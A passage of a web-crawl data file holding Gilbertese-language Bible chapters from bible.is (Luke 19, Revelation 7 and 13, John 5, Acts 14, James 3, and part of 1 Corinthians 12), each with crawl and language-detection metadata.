aera ngkanne ngkai ko aki karina au m'ane n te bangke ao I a anaia ma rakana n rokou?\" 24Ao e taku nakoia aomata ake a teitei i rarikina, \"Kam na anaa te m'ane mai rouna, ao angan teuare e a tia ni karekea tebwina riki ana raka.\" 25Ao a kaeka ni kangai, \"Teuae karineaki, e a kaman reke i rouna tebwina ana m'ane!\" 26\"I taku nako imi b'a ane iai ana b'ai ao e na anganaki riki; ao ane akea ana b'ai ao e na anaaki mai rouna ane iai i rouna. 27Ao i bukiia taan ribaai akanne, akana a aki tangirai b'a N na tautaeka i aoia, kairiia mai, ao tiringiia i matau.\" 28Ao ngke E a tia Iesu n atongi baikekei, ao E ri moa n nako Ierutarem. 29Ngke E a kaaniia Beteb'ake ma Betania, i rarikin te maunga are arana Oriweta, ao E kanakoia uoman ana reirei, 30ao E taku nako ia, \"Kam na nako n te kawa ane i m'aimi; ao ngkana kam rin iai, ao ane kam na nora iai te aati te teei ae rooaki, ae e tuai n toka te aomata i aona; kab'ara ao kairiia mai. 31Ao ngkana e titirakiningkami te aomata ni kangai, 'E aera ngkai kam kab'araa? Ao kam na kangai, E tangiria ara Uea.' \" 32A nako uake a tuangaki ao a kunea aron are E atongnga nako ia. 33Ngke a kume ni kab'ara roon te aati te teei, ao a titirakinaki irouia uake aia man te aati, ni kangai, \"E aera ngkai kam kab'ara roon te ati te teei?\" 34Ao ngaiia a kaeka ni kangai, \"E tangiria ara Uea.\" 35Ao a kairiia nakon Iesu; a kaaki kunnikaiia i aon te aati te teei, ao a katoka Iesu iai. 36Ngke E toka i aon te aati ao E waki i aoni kawaina, ao a taakini kunnikaia aomata ni kawenei i nanon te kawai. 37Ngke E a kaan ma Ierutarem, n te tabo are e mena iai te kawai are ruo ri kaaki man te maunga are Oriweta, ao a bane ni kim'areirei ana reirei aika bati ao a kamoamoa te Atua n te b'ana ae korakora i bukini m'akuri ni kabane aika a kamimii ake a tia n nori. 38Ao a kangai, \"E a kab'aia te King ae roko n aran te Uea! Te raoi i karawa ao te neboaki ike moan te rietaata.\" 39Ao a taku nako Ina B'aritaio tabem'aang ake a mena i buakoia te m'aiti n aomata akekei, \"Te Tia Reirei, Ko na takuia am reirei!\" 40Ao E kaekaia ni kangai, \"I taku nako imi, b'a ngkana a na aki karongoa, ao ane a na takaarua atiibu iai.\" 41Ngke E a kaan riki Iesu ma te kawa ao E taraia, ao E tangi nanona i bukina b'a E nanoangaia, 42ao E taku: Ko bia ataia n te bong aei, kawai ake e na reke iai te rau! Ma a karabaaki ngkai mai matam. 43B'a ane a na roko i roum boong ake a na karaoa iai te o am kairiribai man tanon rarikim ae a katabukirakea ni katobibiko, ao ane a na otab'aniniiko, ni buakaniko mai rarikim nako. 44Ane a na boouaiko i aontano, ngkoe ma ake a maeka i nanon oom, ao bon akea te atibu teuana ae a na katikua n arona, i bukina b'a ko aki ata te tai are E kawariko iai te Atua b'a E na kamaiuko. 45Ao E rin Iesu n te um'antabu, ao E kakioia nako aomata ake a kabooi nako aia b'ai iai, 46ao E taku nako ia, \"E koreaki ana taeka te Atua ae kangai, 'E na riki au auti b'a te tabo n taromauri.' Ma ngkami kam a tia ni karaoia b'a nneia taani kam'arua ni karabaia!\" 47Ao E reirei Iesu n te um'antabu n te bong ae koraki. A ukoukora aroni kamateana ibonga ake mataniwi ma taani koroboki ao mataniwiia aomata, 48ma akea te kawai teuana ae a kona ni karaoia iai, b'a a bane aomata ni kan ongora i Rouna.\nCopyright","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/19","date":"2016-10-25T00:10:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988719815.3\/warc\/CC-MAIN-20161020183839-00265-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":1313,"character_repetition_ratio":0.049,"word_repetition_ratio":0.009,"special_characters_ratio":0.267,"stopwords_ratio":0.423,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao i mwin arei ao I nooriia anera aika aman b'a a tei ni maninganingan aonnaba, ake maninganingana ake aua, ao a tau angin aonnaba, ake aang ake aua, b'a e na aki uki te ang i aonnaba, ao i marawa, ao e na aki uka te kai tekaina n neakinna. 2Ao I nora te anera temanna b'a e rierake man te tabo are e kaoti taai mai iai, ao iai i rouna te b'ai ni kanikina, ae ana b'ai te Atua ae maiu; ao e taetae n te b'ana ae korakora nakoia anera ake aman ake a anganaki te kona ni b'ainikirina aonnaba ma karawa. 3Ao e kaangai, \"Kam na tai b'ainikirina aonnaba ma karawa, ma kaai, ni karokoa ae ti kanikinaeia moa ana toro Atuara i aon ram'aia.\" 4Ao I ongo b'a m'aitiia te koraki ake a kanikinaeaki bon tebubua ma abwi ma aua tengaa mai buakoia aia baronga Iteraera ni kabaneia. 5A kanikinaeaki tebwi ma uoua tengaa mai buakon te baronga are Iuta; Tebwi ma uoua tengaa mai buakon te baronga are Reuben; Tebwi ma uoua tengaa mai buakon te baronga are Kaata; 6Tebwi ma uoua tengaa mai buakon te baronga are Atera; Tebwi ma uoua tengaa mai buakon te baronga are Nabetari; Tebwi ma uoua tengaa mai buakon te baronga are Manate; 7Tebwi ma uoua tengaa mai buakon te baronga are Timeon; Tebwi ma uoua tengaa mai buakon te baronga are Rewi; Tebwi ma uoua tengaa mai buakon te baronga are Itakara; 8Tebwi ma uoua tengaa mai buakon te baronga are Teburun; Tebwi ma uoua tengaa mai buakon te baronga are Ioteb'a. A kanikinaeaki tebwi ma uoua tengaa mai buakon te baronga are Beniamin. 9I mwini baikai ao I taratara nako, ao noria, aomata aika rangi ni m'aiti aika mani botannaomata ni kabaneia, ma baronga, ma natanaomata, ao mani botannaomata nako aika a kakaokoro aia taetae; ao akea temanna ae kona ni wareki m'aitiia. A tei i nanoaan te kaintokanuea, ao i matan te Tiibuteteei, ao a kunnikaiia ni kunnikai aika m'am'arai aika mainaina, ao baanikaai aika ai aroni baan te ni i nanoni baiia; 10ao a taetae n te b'ana ae korakora, ao a kaangai, \"Ana b'ai Atuara ae tekateka i aon te kaintokanuea te kamaiu; ao te kamaiu aei bon ana b'ai naba te Tiibuteteei.\" 11Ao a bane anera n tei ni katobibia te kaintokanuea ma unimm'aane ma baike a maiu ake aman, ao a katorobubua ni bobaraaki i nanoaan te kaintokanuea, ao a taromauria te Atua, 12ao a kaangai, \"Amen! Ana b'ai Atuara te karaoiroaki, ma te neboaki, ma te rabakau, ma te katituaraoaki, ma te karineaki, ma te m'aaka, ma te korakora, n aki totoki. Amen!\" 13Ao e taetae temanna mai buakoia unimm'aane, ao e kaangai nako iu, \"Antai aikai aika kunnikaiia ni kunnikai aika m'am'arai aika mainaina? Ao a nako maia?\" 14Ao I taku nakoina, \"Teuae ko karineaki i rou, ko bon ataiia.\" Ao e kaangai nako iu, \"Aomata aikai ake a butaki nako mai aan te rawawata are korakora, ao a teboki aia kunnikai ake a m'am'arai ao a kamainainai n raraan te Tiibuteteei. 15Ma ngaia ae a memena i aan ana kaintokanuea te Atua; ao a toro i rouna ni ngaina ao ni bong i nanon ana Tembora. Ao Teuare tekateka i aon te kaintokanuea E na kamanoia ni memenana i rouia. 16Ane a na aki manga baki, ao a na aki manga taka; ao e na aki manga riringa taai i aoia, ao a na aki rotaki ni kabuebuena; 17ao te Tiibuteteei are i nanoaan te kaintokanuea, E na kawakinia n ai aron te tia kawakin-tiibu, ao E na kairiia nakoni koburaken raan aika kamaiu; ao te Atua E na kaoi rannimataia ni kabane mai mataia.\"\nCopyright","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/7","date":"2016-10-28T14:57:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988722653.96\/warc\/CC-MAIN-20161020183842-00564-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":619,"character_repetition_ratio":0.162,"word_repetition_ratio":0.007,"special_characters_ratio":0.23,"stopwords_ratio":0.43,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwin te b'ai are E karaoia Iesu, ao E nako Ierutarem i bukin aia botaki teuana ae kakawaki I-Iutaia. 2Iai i Ierutarem, i rarikin aia mataroa tiibu, te nei ae aranaki n te taetae n Ebera b'a Beteteta ae iai taabo aika nimaua iai aika rabunaki aoia i bukin te katantan. 3- 4A wene n taabo aikai aoraki aika bati; iai naba i buakoia aika matakii ma aika m'auku, ao aika mate b'ain rab'ataia. 5Iai temanna i buakoia aoraki akekei ae ai tenibwi ma wanua ana ririki n aoraki. 6E noria Iesu ni wene ikekei, ao E ataia b'a e a tia ni weneakina aorakina n te tai ae rangi ni maan; ma ngaia are E taku nakoina, \"Ko kani kamaiuaki?\" 7E kaeka teuarei ao e taku, \"Teuaei, Akea ikai te aomata ae na karuoai i nanon te nei ngkana e kakoburakeaki te ran; b'a ngkana N nangi roko iai, ao e ruo temanna n ri moau.\" 8E taku Iesu nakoina, \"Tei rake, tabeka nem ni wene, ao nakonako.\" 9E kamaiuaki naba ngkekei te aomata arei; e tabeka nena ni wene, ao e nakonako. Bon te Taabati te bong arei. 10Ma ngaia are, a taku I-Iutaia nakon teuare kamaiuaki, \"Te Taabati aei, ao e aki riai b'a ko na tabeka nem ni wene.\" 11Ao e kaekaia ni kaangai, \"E tuangai Teuare kamaiuai ni kaangai, Tabeka nem ni wene ao nakonako.\" 12Ao a titirakinna ni kaangai, \"Antai te aomata ane kaangai nako im, Tabeka nem ni wene, ao nakonako?\" 13Ma teuare kamaiuaki e aki ataia b'a antai Teuare E kamaiua, b'a a bati aomata n te tabo arei, ao E a kamani butaki nako Iesu mai buakoia. 14E aki rangi ni maan i mwin arei, ao Iesu E nora teuarei n te Tembora, ao E taku nakoina, \"Noria, ko a tia ni kamaiuaki, ma ngaia are ko na aki manga bure, b'a e kaawa n riki nako im te b'ai ae buakaka riki.\" 15E nako teuarei, ao e tuangiia I-Iutaia b'a ngaia Iesu are E kamaiua. 16Ma ngaia are, a b'ainikirina Iesu I-Iutaia i bukina ngke E karaoa te m'akuri ni kamaiu n te Taabati. 17E kaekaia Iesu ao E taku, \"E m'am'akuri nako naba Tamau, ao Ngai I riai naba ni m'akuri.\" 18Ana taeka Iesu aikai, e a kakorakora riki kani kamateana irouia I-Iutaia: b'a E aki ti urua tuan te Taabati, ma E atonga te Atua b'a Tamana, ao n te aro aei E a karaoia iai b'a ti te bo Ngaia ma te Atua. 19E kaekaia Iesu ngkanne ao E taku nakoia, \"I tuangngkami ma te koaua, b'a akea te b'ai ae E kona ni karaoia te Nati i bon i rouna, ma ti are E noria b'a E karaoia te Tama; b'a b'aai ake E karaoi te Tama, ao E karaoi naba te Nati. 20B'a E tangira te Nati te Tama, ao E kaoti ana m'akuri ni kabane nakoina, ao ane E na kaoti riki nakoina m'akuri aika ab'ab'aki riki b'a kam aonga ni mimi. 21B'a aron te Tama ngkai E a manga kamaiuia aika mate, ao E angania te maiu, ao ai aron naba te Nati, E anga te maiu nakon ane E bon taku. 22B'a akea ae motika taekana te Tama, ma E angan te Nati te motiki-taeka ni kabane; 23b'a a aonga ni bane aomata nako ni karinea te Nati, n ai aroia ngkai a karinea te Tama. Ane aki karinea te Nati, ao e aki karinea naba te Tama are kanakomaia.\" 24\"Bon te koaua ni koaua ae I a tuangngkami, b'a ane ongo au taeka ao e onimakina Teuare kanakomaiai, ao e na reke i rouna te maiu are aki toki. E na aki motikaki taekana; e a tia ni kitana te kawai are e na mate iai, ao e a toua te kawai are e na maiu iai. 25Bon te koaua ni koaua ae I a tuangngkami b'a e a roko te tai, ma e a boni kaman roko, ae a na ongo iai b'anaan Natin te Atua maate; ao a na maiu akana ongo. 26B'a aron te Tama ngkai Ngaia oin te maiu, ao ai aron naba te Nati: b'a E a tia te Tama ni karaoia b'a oin te maiu, 27ao E a tia n anganna te m'aaka ni motiki-taeka ngkai Natin te Aomata Ngaia. 28Kam na aki mimi n aei: b'a ane na roko te tai ae a na bane iai n ongo b'anaana aomata ake a tia ni mate, 29ao a na oti nako mani neia ni mate: akana tia ni karaoa ae e raoiroi nakon te maiu, ao akana tia ni karaoa ae buakaka nakon te rekenikai.\" 30Akea te b'ai ae I kona ni karaoia n aron te m'aaka ae iai irou. I motiki-taeka n ai aron tuangau iroun Tamau, ao e eti au motiki-taeka i bukina b'a I aki ukoukora are oin nanou, ma I ukoukora nanon Tamau are kanakomaiai. 31Ngkana I kaotioti i bon i buku, ao te b'ai ae I taekinna e na aki butim'aeaki b'a te b'ai ni kakoaua. 32Ma iai Tamau ae kaotioti naba i buku, ao I ataia b'a ana kaotioti e boni koaua. 33Kam kanakoia taani kareke-rongorongo nakon Ioane, ao ngaia e taekini baika koaua i buku. 34Tiaki b'a aongkoa I kainanoa aia kaotioti aomata i buku; ma I taekina ana kaotioti Ioane b'a kam aonga ni kamaiuaki. 35Ai aron te taura Ioane are ura ao e oota nako urana, ao kam a tia ni kariaia b'a kam na kim'areirei n ootana i nanon tabeua te bong. 36Ma iai te b'ai ni kakoaua i buku ae moamoa riki nakon are kaotiotia Ioane: boni baika I karaoi, aika m'akuri ake E anganai te Tama b'a N na karaoi; a riki b'a b'ai ni kakoaua i buku, ao a kaotia b'a E kanakomaiai te Tama. 37Ao te Tama are kanakomaiai boni Ngaia naba te Tia Kakoaua i buku. Kam tuai n ongo b'anaana ao n noria b'a aekara tein rab'atana; 38ao kam rawa ni butim'aea ana taeka, i bukina b'a kam aki onimakina Teuare E kanakomaia. 39Kam ukeuke n te B'aib'ara b'a kam taku b'a e na reke mai iai iroumi te maiu are aki toki; ao boni ngaia are kaotioti i buku; 40ma kam aki kan nako iu b'a e kaawa n reke iroumi te maiu are aki toki. 41\"I aki kakaea te kamoamoaki mairouia aomata. 42Ma I ataingkami b'a akea tangiran te Atua i nanomi. 43I nako mai n aran Tamau, ao kam rawa ni kan reitaki ma Ngai; ma ngkana e roko temanna bon i bukina, ao kam kan reitaki ma ngaia. 44Kam na kanga ni kona n onimakinai ngkai kam butim'aea te kamoamoaki mairoun temanna ma temanna, ao kam aki ukoukora te kamoamoaki mairoun Temanna are bon ti Ngaia te Atua? 45Tai taku n ami iango b'a N na kabuakakaingkami nakon Tamau; boni Mote are e mena ami kaantaninga i rouna ae e kabuakakaingkami. 46Ngke arona b'a kam onimakina Mote, ao kam na bon onimakinai naba, b'a ngaia ae korea taekau. 47Ma ngkana kam aki kakoauai baike e korei, ao kam na kanga ni kakoauai au taeka?\"\nCopyright","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/John\/5","date":"2016-10-21T15:20:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988718284.75\/warc\/CC-MAIN-20161020183838-00362-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1180,"character_repetition_ratio":0.045,"word_repetition_ratio":0.002,"special_characters_ratio":0.258,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke a mena B'auro ma B'arenaba i Ikonio, ao a nako ni m'aneabaia I-Iutaia, ao a taetae n te aro are a onimaki iai I-Iutaia ma I-Erene aika rangi ni bati. 2Ma I-Iutaia ake a aki onimaki a kakiriwei nanoia aomata ake tiaki I-Iutaia, ao a kananobuakaiia nakoia taari akekei. 3Ma ngaia are, a kamaniia B'auro ma B'arenaba ni maeka i Ikonio, n tataekina taekan te UEA ma te ninikoria. Ngke a karaoa aei, ao a anganaki iroun te UEA te kona ni karaoi kanikina ma m'akuri ni kamimii b'a ana b'ai ni kakoaua i bukin aia taeka are a taekinna i bukin ana akoi b'a e koaua. 4E a riki te iraraaure irouia kaain te kaawa arei: a tei tem'angina i bukiia I-Iutaia, ao tem'angina a tei i bukiia taan tuatua. 5A reke nanoia I-Iutaia ma ake tiaki I-Iutaia ma aia tia tautaeka nako b'a a na b'ainikirina B'auro ma B'arenaba ma ni karebanaia. 6Ngke a ataia ao a biri nako nakoni kawan Rukaonia, are Rutetera ma Rerebe, ao nakoni kaawa nako ake a kaani ma ngaiia, 7ao a tataekina te euangkerio iai. 8E tekateka te aomata temanna i Rutetera, ae a mamara waena; e m'auku mai nanoni biroton tinana, ao e tuai man nakonako. 9E ongora irouni B'auro ngke e taetae; ao B'auro e katokai matana n taraia, ao e ataia b'a iai i rouna te onimaki are e konaaki ni kamaiuaki iai 10ma ngaia are e kanenea b'anaana ao e kaangai, \"Tei rake kaetiko i aoni waem!\" Ao ngaia e ewe rake, ao e nakonako. 11Ngke a nora te baere e karaoia B'auro aomata, ao a kanene b'anaaia n taetae n taetaen Rukaonia ao a kaangai, \"A ruo nako ira anti aika ai aroia aomata!\" 12A arana B'arenaba b'a Tiuti, ao B'auro b'a Eremiti ngkai ngaia are b'aina te kakarabakau. 13E roko ngkanne ana ibonga Tiuti ma uotana kaue, ma kao mm'aane aika e kairiia nakoni mataroani kawai n rin nakon um'antabun Tiuti, are e tei ni kaan ma te kaawa i tinanikuna. E kan anga karea ma aomata. 14Ngke a ongo taan tuatua ake B'arenaba ma B'auro taekani baike a nang karaoi aomata, ao a raei kunnikaia, ao a biribiri i buakoia aomata n tatakarua, 15ni kaangai, Mm'aane, \"Kam aera ngkai kam karaoi baikai? Bon aomata naba ngaira aika ai aromi! Ao ti tuangngkami te rongorongo ae e raoiroi, b'a kam na rairaki mani baika akea bonganaia nakon te Atua are maiu, are karaoa karawa ma aonnaba, ma marawa, ma b'aai ni kabane ake a mena i nanoia. 16I nanon rooro ake rimoa, ao E aki tutukiia botannaomata nako mani karaoani baike a tangiri; 17ma e boni ngae n anne, ao E a tia ni kaotiota arona n Atua ni baika raraoi ake E karaoi: b'a E anganingkami te karau mai karawa ma boong ake a uaa iai kai n am'arake; E anganingkami kanami, ao E kaon nanomi n te kim'areirei.\" 18A boni ngae n tabeki taeka aika ai aron akekei taan tuatua, ma a kuri n aki konaia aomata n tukiia b'a a na aki anga karea. 19Iai I-Iutaia tabem'aang aika roko mai Antioka, ao mai Ikonio n anai nanoia aomata. A karebanaa B'auro, ao a uakinna nako tinanikun te kaawa, b'a a taku b'a e a mate. 20Ma ngke a tei reirei n otab'aninia, ao e teirake, ao e nako n te kaawa; ao ngke e a ingabong, ao e nako ma B'arenaba nako Rerebe. 21Ngke a tia B'auro ma B'arenaba n taekina te euangkerio i Rerebe, ma ni karikiia aomata aika bati iai b'a taan onimakina Iesu, ao a oki nako Rutetera, ao Ikonio, ao Antioka, 22ni kakorakorai nanoia taan onimaki, ao ni buokiia b'a a na botum'aka n onimaki, ao a kaangai, \"Ti riai n ri nanon rawawata aika bati b'a ti aonga n rin n Uean te Atua.\" 23A rineia tem'angina n te ekaretia teuana b'a unimm'aanen te ekaretia anne, ao a karaoa aron aei i nanon ekaretia nako; ao ni katoa te tai are a tia ni karaoa iai aei, ao a aki mamatam, ao a tataro i bukiia b'a a na kawakinaki iroun te UEA, are a onimakinna. 24A m'ananga ngkanne B'auro ma B'arenaba n ri nuukani Bitiria, ao a roko i Bamburia. 25Ao ngke a tia n taekina ana taeka te Atua i Bereke, ao a wairio nako Ataria; 26ao a borau mai iai nako Antioka, ike a tia ni mwiokoaki iai rimoa nako nanoni bain te Atua, b'a a na kairaki n ana akoi i bukin te m'akuri are a tia ngkai ni karaoia. 27Ao ngke a roko i Antioka, ao a botiia kaain te ekaretia, ao a karakini b'aai ni kabane ake E karaoi te Atua i rouia, ma arona ngke E kauka mataroan te onimaki nakoia aomata aika tiaki I-Iutaia. 28Ao a tiku ni maan irouia ake a onimakina Iesu.\nCopyright","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/14","date":"2016-10-24T22:27:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988719784.62\/warc\/CC-MAIN-20161020183839-00156-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":806,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.411,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tariu, kam na tai riki b'a taan reirei aika bati, ngkai ti ataia b'a ngaira aika taan reirei e na reke iroura motikan taekara ae rawawata riki. 2B'a akea iroura ae aki kaairua; ao ngkana iai ae aki kaairua n ana taeka, ao bon te aomata ae kororaoi n arona, ae e kona ni bweena rab'atana ae b'anin. 3B'a ngkana ti karini m'akoroni biiti i nanoni wiia aoti ake a na bweenaki iai, b'a a aonga n iri nanora, ao ti a kona iai ni kairiia nakon te tabo are ti tangiria. 4Ao taraia naba kaibuke: a ab'ab'aki ao a kabutaki n aang aika korakora, ma a kaetaki ni kawaia n te bwe ae moan te uarereke nakon te tabo are e kani borau nako iai te tia taubwe. 5Ao ai aron naba te newe: boni b'ain te rab'ata ae uarereke, ao e kamoamoaa i bukin arona ni kona ni karaoi baika ab'ab'aki. Noria, ai uarereke ra te ai ao e kona ni kaurarakea te buakonikai ae ab'ab'aki! 6Ao te newe ai aron te ai. B'a te newe kanga te aonnaba ae on n te buakaka i buakoni b'ain rab'atara nako; e kam'araea te rab'ata ni kabane, ao kanga e kaurarakea maiura ae b'anin n uran te ai mai Keenna. 7B'a maan nako aika maan aika kakaeai waeia ma maan aika kibakiba ma maan aika kawakawa ma ika, a kamananaki irouia aomata, ao a a kamani kamananaaki i rouia; 8ma te newe, bon akea te aomata temanna ae e kona ni kamananaa: bon te b'ai ae buakaka ae aki wene n rau, ae e on n te boitin ae kamamate. 9Ti kabongana i bukini katituaraoan te Uea ae Tamara, ao i bukin naba karereantiaia aomata aika karaoaki b'a katotongan te Atua. 10E oti nako te taetae ni kakab'aia ma ni karereanti naba man te wii ae ti teuana. Tariu, a bon aki riai baikai. 11E kona te koburake n ran ni kaotinakoa te ran ae mam ma te ran ae tarika man te koburake n ran ae ti teuana? 12Tariu, e kona te biiku ni karika te oriwa? Ao e kona te kureebe ni kariki biiku? Ao e aki kona naba te karika te ran ae mam te ran ae taari. 13Antai te aomata ae rabakau ae atatai i buakomi? E na kaotia ni maiuna ae e raoiroi ao n ana m'akuri aika raraoi aika e karaoi ma te nimamannei ao te rabakau. 14Ma ngkana iai i nanomi te bakantang ae bati ma te iangoingkami i bon iroumi, ao kam na tai kamoamoaingkami n eekaanako te koaua ma ni kakewea. 15Te aeka n rabakau aei e aki ruo mai eta, ma boni b'ain aon te aba, ae b'ain te rab'ata, ao aia b'ai taimonio. 16B'a ike e mena iai te bakantang ma te iangoia te aomata bon i bukina, ao e mena naba iai te mangaongao irouia aomata ma m'akuri aika bubuaka ni kabane. 17Ma te rabakau are mai eta e kairiia aomata nakon te maiu moa ae itiaki, ao ae rau ma n nimamannei, ae b'aina te iraorao; e on n te nanoanga, ao e karaoi m'akuri nako aika raraoi; e aki nanonano ao e aki m'am'anaa te aba. 18Te maiu ae e raoiroi boni ngaia ae na taiaki b'a te ua are riki man te koraa are unikaki n te raoi irouia taan raoi.\nCopyright","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/3","date":"2016-10-23T17:11:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988719286.6\/warc\/CC-MAIN-20161020183839-00260-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":557,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.456,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao I nora te man ae tiritiri b'a e aerake mai tari: tengauni korona, ao itiua atuna, ao tebwina te baunuea i aoni korona, ao iai te ara ae te taeka ni bakanatua i atuna nako. 2Ao te man are I noria ai aron te reb'ari, ao waena ai aroni waen te bea, ao wina ai aroni wiin te raian. Ao e anga m'aakana te rakon nakoina, ao e anganna naba ana kaintokanuea ma m'aakana n tautaeka ae korakora. 3Iai atun te man arei teuana ae a tia n ikoaki n te ikoaki ae tara n rangi ni kakaiaki, ma e a tia ni mao. Ao a bane kaain te aonnaba n irira te man arei ni mimiakinna. 4Ao a bane n taromauria te rakon i bukina ngke e anga te m'aaka n tautaeka nakon te man are tiritiri; ao a taromauria naba te man are tiritiri, ao a kaangai, \"Ai antai ae ai aron te man ae tiritiri aei? Ao antai ae kona te buakanna?\" 5Ao e anganaki te man arei te kona n atongi taeka ni kainikatonga ma taeka ni bakanatua; ao e anganaki te m'aaka ni karaoa ae e kani karaoia abwi ma uoua te nam'akaina. 6Ao e moana taetaebuakaan te Atua, n taetaebuaka arana ma ana um'anrianna, ma ake a maeka i karawa. 7Ao e anganaki naba te kona ni buakaniia ake a itiaki, ma te katae aia kai; ao e anganaki te m'aaka n tauu taekaia baronga nako ma natanaomata ma botannaomata ma aomata nako aika a kakaokoro aia taetae. 8Ao ane a na taromauria te man arei aomata nako i aonnaba, ake a aki koreaki araia ni bokin te maiu ma ngke a moa ni karikaki aonnaba; ao te boki arei bon ana boki te Tiibuteteei are kamateaki. 9\"Ke e ongo, ane iai taningana! 10Ngkana iai ane katauaki b'a te taenikai, ao ke e nako b'a te taenikai; ao ngkana iai ane kamatea te aomata n te kabaang, ao e na kamateaki naba n te kabaang. Nanona ngkanne, b'a ake a itiaki a riai n teimatoa n aia onimaki.\" 11Ao I nora te man temanna b'a e rierake mai aantano: iai korona aika uaai aika ai aroni koron te tiibuteteei; ao e taetae n ai aron te rakon. 12E kamanena ni kabane m'aakan te moa ni man are tiritiri ni m'am'akuri iai i matana. Ao e anai nanoia aomata ni kabaneia i aonnaba b'a a na taromauria te man are moa ni kaoti, are iai ikoakina are kakaiaki are a tia ni mao. 13Ao te man are kaoti mai aantano e karaoi kanikina aika ab'ab'aki, b'a e kab'aka te ai mai karawa nako aon te aba i mataia aomata. 14Ao e m'am'anaia ake a maeka i aon te aba ni kanikina ake e anganaki b'a e na karaoi i matan te man are moa ni kaoti; ao e tuangiia ake a maeka i aon te aba b'a a na karaoa te bouananti ae na katotonga aron tein rab'atan te man are aki mate ngke e ikoaki n te kabaang. 15Ao e anganaki te kariaia b'a e na karina te ikeike-ni-maiu i nanon te bouananti are na katotonga tein rab'atan te man are moa ni kaoti, b'a e aonga ni kona n taetae ao ni kamateia aomata ni kabaneia ake a aki taromauria. 16Ao e karaoa ae a na bane aomata ake a mangori ma ake a kakannato, ake a kaub'ai ma ake a aki kaub'ai, ake a inaomata ma ake tooro, b'a a na kanikinaeaki i aoni baiia ake ataiia ke i aon ram'aia. 17Ao akea temanna ae kona ni bob'ai ke ni kabob'ai, b'a ti ane iai i rouna te kanikina, ae aran te man arei, ke te ware are tei i bukin arana. 18Ana b'ai ae rabakau te baei! Ane atatai ao ke e iangoia b'a tera nanon te ware are te ware i bukin te man, ngkai te ware arei e tei i bukin aran te aomata; ao te ware arei bon Onobubua ao Onobwi ma Onoua.\nCopyright","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/13","date":"2016-10-28T03:03:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988721555.36\/warc\/CC-MAIN-20161020183841-00191-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":667,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.447,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Taari, I aki tangiringkami b'a kam na aki atai aroni b'aai n tituaraoi ake mairoun te Tamnei are Raoiroi. 2Kam ataingkami b'a ngke beekan ngkami ngkoa, ao kam kairaki nakoni bouannanti aika aki kona n taetae. 3Ma ngaia ae I kaotia nako imi, b'a bon akea ae kairaki iroun Tamnein te Atua, ae e kangai, \"Ke e reke kain Iesu!\" Ao akea ae kona ni kangai, \"Te UEA Iesu\", ma ti ngkana e kairaki iroun te Tamnei are Raoiroi. 4Ao a bati aekani b'aai n tituaraoi, ma ti temanna te Tamnei 5Ao a bati aron nakoa, ma ti temanna te UEA ae e m'akuri te aba i bukina. 6Ao a bati aaro ni m'akuri, ma ti temanna te Atua, ae m'akuri i nanoia aomata ni kabaneia ao E buokiia ni b'aai ni kabane aika a karaoi. 7Ao a anganaki aomata nako te bae E karaoia te Tamnei 8B'a e anganaki temanna ana m'akuri iroun te Tamnei 9Ao e anganaki temanna te onimaki, iroun te Tamnei 10ao e anganaki temanna karaoani m'akuri aika kamimii. Ao tabeman b'a burabeti, ao tabeman te kona ni kinaa Tamnein te Atua ngkana e kaoti. Ao tabeman te kona n taetae n taetae aika aki ataaki nanoia, ao tabeman te kona ni kab'arab'arai nanoia. 